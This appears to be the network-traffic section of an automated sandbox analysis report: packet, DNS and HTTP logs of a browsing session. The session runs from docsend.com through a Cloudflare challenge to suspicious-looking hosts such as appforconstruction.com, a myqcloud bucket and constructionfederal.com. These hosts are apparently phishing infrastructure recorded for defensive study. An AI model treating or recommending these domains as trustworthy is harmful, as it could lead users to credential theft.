Nov 20, 2024 15:43:21.764157057 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.764242887 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.784840107 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.784863949 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.784888029 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.784923077 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.784970045 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.785038948 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.785115004 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.806358099 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.806374073 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.806416988 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.806447029 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.806459904 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.806493998 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.806526899 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.815145016 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.815222979 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.815237999 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.826809883 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.826895952 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.826962948 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.835370064 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.835450888 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.835468054 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.844634056 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.844721079 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.844727039 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.855211020 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.855295897 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.855310917 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.865722895 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.865823030 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.865843058 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.873900890 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.873974085 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.873985052 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.882857084 CET	443	49770	170.106.97.196	192.168.2.16
Nov 20, 2024 15:43:21.882930040 CET	49770	443	192.168.2.16	170.106.97.196
Nov 20, 2024 15:43:21.882941961 CET	443	49770	170.106.97.196	192.168.2.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 15:41:28.629439116 CET	59496	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:11.022433043 CET	138	138	192.168.2.16	192.168.2.255
Nov 20, 2024 15:42:35.683706045 CET	53	57162	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:35.748229980 CET	53	59880	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:35.929630995 CET	53	52565	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:38.317349911 CET	60932	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:38.317599058 CET	58549	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:38.714482069 CET	53	58549	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:38.717418909 CET	53	60932	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:38.731559038 CET	53	57027	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:40.356869936 CET	57047	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:40.358299971 CET	60858	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:40.497971058 CET	53	57047	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:40.502638102 CET	53	60858	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:42.469024897 CET	54329	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:42.469024897 CET	59132	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:42.613672018 CET	53	59132	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:42.614552975 CET	53	54329	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:46.239588976 CET	54590	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:46.239778996 CET	55535	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:46.377319098 CET	53	55535	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:46.377477884 CET	53	54590	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:50.233691931 CET	61323	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:50.233982086 CET	52221	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:50.250790119 CET	56748	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:50.251192093 CET	61352	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:50.376156092 CET	53	61323	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:50.376311064 CET	53	52221	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:50.393172979 CET	53	56748	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:50.393996000 CET	53	61352	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:55.812268019 CET	53	56774	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:57.548527956 CET	50337	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:57.548726082 CET	53280	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:42:57.689763069 CET	53	50337	1.1.1.1	192.168.2.16
Nov 20, 2024 15:42:57.691437960 CET	53	53280	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:13.899607897 CET	62499	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:13.900022030 CET	56688	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:13.901624918 CET	58399	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:13.901875019 CET	53059	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:13.902292967 CET	53922	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:13.902546883 CET	50101	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:13.903552055 CET	55384	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:13.903681040 CET	53780	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:13.903918982 CET	60900	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:13.904093027 CET	56674	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:14.038675070 CET	53	62499	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.038748026 CET	53	56688	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.038837910 CET	53	58399	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.039238930 CET	53	53059	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.040268898 CET	53	50101	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.041038990 CET	53	53922	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.041276932 CET	53	65347	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.044230938 CET	53	55384	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.045367956 CET	53	53780	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.385240078 CET	53	56674	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.745099068 CET	53	60900	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:14.838320971 CET	53	53114	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:15.943821907 CET	60161	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:15.943973064 CET	54714	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:16.083916903 CET	53	60161	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:16.084022045 CET	53	54714	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:16.109617949 CET	61813	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:16.109750986 CET	57739	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:16.190495014 CET	59916	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:16.190623999 CET	52580	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:16.251310110 CET	53	57739	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:16.251698971 CET	53	61813	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:16.262599945 CET	59306	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:16.262743950 CET	49329	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:16.333287954 CET	53	52580	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:16.335330963 CET	53	59916	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:16.404294968 CET	53	59306	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:16.404870987 CET	53	49329	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:17.138839960 CET	53	64373	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:18.576992989 CET	61407	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:18.577261925 CET	50335	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:18.583837032 CET	53806	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:18.584157944 CET	56744	53	192.168.2.16	1.1.1.1
Nov 20, 2024 15:43:18.717518091 CET	53	61407	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:18.717538118 CET	53	50335	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:19.111008883 CET	53	56744	1.1.1.1	192.168.2.16
Nov 20, 2024 15:43:19.111285925 CET	53	53806	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 20, 2024 15:42:42.616614103 CET	192.168.2.16	1.1.1.1	c21e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 15:41:28.629439116 CET	192.168.2.16	1.1.1.1	0x6900	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:38.317349911 CET	192.168.2.16	1.1.1.1	0x7f15	Standard query (0)	abbcc.appforconstruction.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:38.317599058 CET	192.168.2.16	1.1.1.1	0xe91c	Standard query (0)	abbcc.appforconstruction.com	65	IN (0x0001)	false
Nov 20, 2024 15:42:40.356869936 CET	192.168.2.16	1.1.1.1	0xf56b	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:40.358299971 CET	192.168.2.16	1.1.1.1	0xe22f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 15:42:42.469024897 CET	192.168.2.16	1.1.1.1	0x2b76	Standard query (0)	abbcc.appforconstruction.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:42.469024897 CET	192.168.2.16	1.1.1.1	0x7f61	Standard query (0)	abbcc.appforconstruction.com	65	IN (0x0001)	false
Nov 20, 2024 15:42:46.239588976 CET	192.168.2.16	1.1.1.1	0xd3b7	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:46.239778996 CET	192.168.2.16	1.1.1.1	0x4433	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 20, 2024 15:42:50.233691931 CET	192.168.2.16	1.1.1.1	0xaa54	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:50.233982086 CET	192.168.2.16	1.1.1.1	0x5a46	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 20, 2024 15:42:50.250790119 CET	192.168.2.16	1.1.1.1	0x7a4	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:50.251192093 CET	192.168.2.16	1.1.1.1	0x3b1d	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Nov 20, 2024 15:42:57.548527956 CET	192.168.2.16	1.1.1.1	0xa63a	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:57.548726082 CET	192.168.2.16	1.1.1.1	0x5b23	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:13.899607897 CET	192.168.2.16	1.1.1.1	0x4a17	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:13.900022030 CET	192.168.2.16	1.1.1.1	0xf063	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:13.901624918 CET	192.168.2.16	1.1.1.1	0xd6a3	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:13.901875019 CET	192.168.2.16	1.1.1.1	0x8306	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:13.902292967 CET	192.168.2.16	1.1.1.1	0xe0ea	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:13.902546883 CET	192.168.2.16	1.1.1.1	0x6a44	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:13.903552055 CET	192.168.2.16	1.1.1.1	0x32fd	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:13.903681040 CET	192.168.2.16	1.1.1.1	0xd412	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:13.903918982 CET	192.168.2.16	1.1.1.1	0xbd9	Standard query (0)	1381488073-1323985617.cos.na-siliconvalley.myqcloud.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:13.904093027 CET	192.168.2.16	1.1.1.1	0x907a	Standard query (0)	1381488073-1323985617.cos.na-siliconvalley.myqcloud.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:15.943821907 CET	192.168.2.16	1.1.1.1	0x1589	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:15.943973064 CET	192.168.2.16	1.1.1.1	0x7498	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:16.109617949 CET	192.168.2.16	1.1.1.1	0x3ce9	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.109750986 CET	192.168.2.16	1.1.1.1	0xe8bc	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:16.190495014 CET	192.168.2.16	1.1.1.1	0xf81a	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.190623999 CET	192.168.2.16	1.1.1.1	0xfcba	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:16.262599945 CET	192.168.2.16	1.1.1.1	0x85e2	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.262743950 CET	192.168.2.16	1.1.1.1	0x351e	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:18.576992989 CET	192.168.2.16	1.1.1.1	0x97d7	Standard query (0)	1381488073-1323985617.cos.na-siliconvalley.myqcloud.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:18.577261925 CET	192.168.2.16	1.1.1.1	0xd5c1	Standard query (0)	1381488073-1323985617.cos.na-siliconvalley.myqcloud.com	65	IN (0x0001)	false
Nov 20, 2024 15:43:18.583837032 CET	192.168.2.16	1.1.1.1	0x52b5	Standard query (0)	1381488073.constructionfederal.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:18.584157944 CET	192.168.2.16	1.1.1.1	0xad90	Standard query (0)	1381488073.constructionfederal.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 15:41:28.959847927 CET	1.1.1.1	192.168.2.16	0x6900	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 15:41:30.736705065 CET	1.1.1.1	192.168.2.16	0x5cd5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:41:30.736705065 CET	1.1.1.1	192.168.2.16	0x5cd5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:41:54.132139921 CET	1.1.1.1	192.168.2.16	0xe6d0	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:41:54.132139921 CET	1.1.1.1	192.168.2.16	0xe6d0	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:38.714482069 CET	1.1.1.1	192.168.2.16	0xe91c	No error (0)	abbcc.appforconstruction.com			65	IN (0x0001)	false
Nov 20, 2024 15:42:38.717418909 CET	1.1.1.1	192.168.2.16	0x7f15	No error (0)	abbcc.appforconstruction.com		172.67.195.135	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:38.717418909 CET	1.1.1.1	192.168.2.16	0x7f15	No error (0)	abbcc.appforconstruction.com		104.21.68.125	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:40.497971058 CET	1.1.1.1	192.168.2.16	0xf56b	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:40.502638102 CET	1.1.1.1	192.168.2.16	0xe22f	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 20, 2024 15:42:42.613672018 CET	1.1.1.1	192.168.2.16	0x7f61	No error (0)	abbcc.appforconstruction.com			65	IN (0x0001)	false
Nov 20, 2024 15:42:42.614552975 CET	1.1.1.1	192.168.2.16	0x2b76	No error (0)	abbcc.appforconstruction.com		104.21.68.125	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:42.614552975 CET	1.1.1.1	192.168.2.16	0x2b76	No error (0)	abbcc.appforconstruction.com		172.67.195.135	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:46.377319098 CET	1.1.1.1	192.168.2.16	0x4433	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 20, 2024 15:42:46.377477884 CET	1.1.1.1	192.168.2.16	0xd3b7	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:46.377477884 CET	1.1.1.1	192.168.2.16	0xd3b7	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:50.376156092 CET	1.1.1.1	192.168.2.16	0xaa54	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:50.376156092 CET	1.1.1.1	192.168.2.16	0xaa54	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:50.376311064 CET	1.1.1.1	192.168.2.16	0x5a46	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 20, 2024 15:42:50.393172979 CET	1.1.1.1	192.168.2.16	0x7a4	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:50.393172979 CET	1.1.1.1	192.168.2.16	0x7a4	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:42:50.393996000 CET	1.1.1.1	192.168.2.16	0x3b1d	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Nov 20, 2024 15:42:57.689763069 CET	1.1.1.1	192.168.2.16	0xa63a	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.038675070 CET	1.1.1.1	192.168.2.16	0x4a17	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.038675070 CET	1.1.1.1	192.168.2.16	0x4a17	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.038675070 CET	1.1.1.1	192.168.2.16	0x4a17	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.038675070 CET	1.1.1.1	192.168.2.16	0x4a17	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.038837910 CET	1.1.1.1	192.168.2.16	0xd6a3	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.038837910 CET	1.1.1.1	192.168.2.16	0xd6a3	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.039238930 CET	1.1.1.1	192.168.2.16	0x8306	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Nov 20, 2024 15:43:14.040268898 CET	1.1.1.1	192.168.2.16	0x6a44	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Nov 20, 2024 15:43:14.041038990 CET	1.1.1.1	192.168.2.16	0xe0ea	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.041038990 CET	1.1.1.1	192.168.2.16	0xe0ea	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.044230938 CET	1.1.1.1	192.168.2.16	0x32fd	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.044230938 CET	1.1.1.1	192.168.2.16	0x32fd	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.045367956 CET	1.1.1.1	192.168.2.16	0xd412	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Nov 20, 2024 15:43:14.745099068 CET	1.1.1.1	192.168.2.16	0xbd9	No error (0)	1381488073-1323985617.cos.na-siliconvalley.myqcloud.com	cos.na-siliconvalley.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 15:43:14.745099068 CET	1.1.1.1	192.168.2.16	0xbd9	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.195	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.745099068 CET	1.1.1.1	192.168.2.16	0xbd9	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.196	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:14.745099068 CET	1.1.1.1	192.168.2.16	0xbd9	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.198	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.083916903 CET	1.1.1.1	192.168.2.16	0x1589	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.083916903 CET	1.1.1.1	192.168.2.16	0x1589	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.084022045 CET	1.1.1.1	192.168.2.16	0x7498	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Nov 20, 2024 15:43:16.251310110 CET	1.1.1.1	192.168.2.16	0xe8bc	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Nov 20, 2024 15:43:16.251698971 CET	1.1.1.1	192.168.2.16	0x3ce9	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.251698971 CET	1.1.1.1	192.168.2.16	0x3ce9	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.335330963 CET	1.1.1.1	192.168.2.16	0xf81a	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.335330963 CET	1.1.1.1	192.168.2.16	0xf81a	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.335330963 CET	1.1.1.1	192.168.2.16	0xf81a	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.335330963 CET	1.1.1.1	192.168.2.16	0xf81a	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.404294968 CET	1.1.1.1	192.168.2.16	0x85e2	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.404294968 CET	1.1.1.1	192.168.2.16	0x85e2	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:16.404870987 CET	1.1.1.1	192.168.2.16	0x351e	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Nov 20, 2024 15:43:18.717518091 CET	1.1.1.1	192.168.2.16	0x97d7	No error (0)	1381488073-1323985617.cos.na-siliconvalley.myqcloud.com	cos.na-siliconvalley.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 15:43:18.717518091 CET	1.1.1.1	192.168.2.16	0x97d7	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.196	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:18.717518091 CET	1.1.1.1	192.168.2.16	0x97d7	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.198	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:18.717518091 CET	1.1.1.1	192.168.2.16	0x97d7	No error (0)	cos.na-siliconvalley.myqcloud.com		170.106.97.195	A (IP address)	IN (0x0001)	false
Nov 20, 2024 15:43:19.111285925 CET	1.1.1.1	192.168.2.16	0x52b5	No error (0)	1381488073.constructionfederal.com		162.241.71.126	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fs.microsoft.com

slscr.update.microsoft.com

armmf.adobe.com

docsend.com

abbcc.appforconstruction.com

https:

challenges.cloudflare.com

code.jquery.com

cdnjs.cloudflare.com

maxcdn.bootstrapcdn.com

stackpath.bootstrapcdn.com

1381488073-1323985617.cos.na-siliconvalley.myqcloud.com

1381488073.constructionfederal.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.16	49706	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:41:15 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 14:41:15 UTC	465	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=7502 Date: Wed, 20 Nov 2024 14:41:15 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.16	49707	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:41:17 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
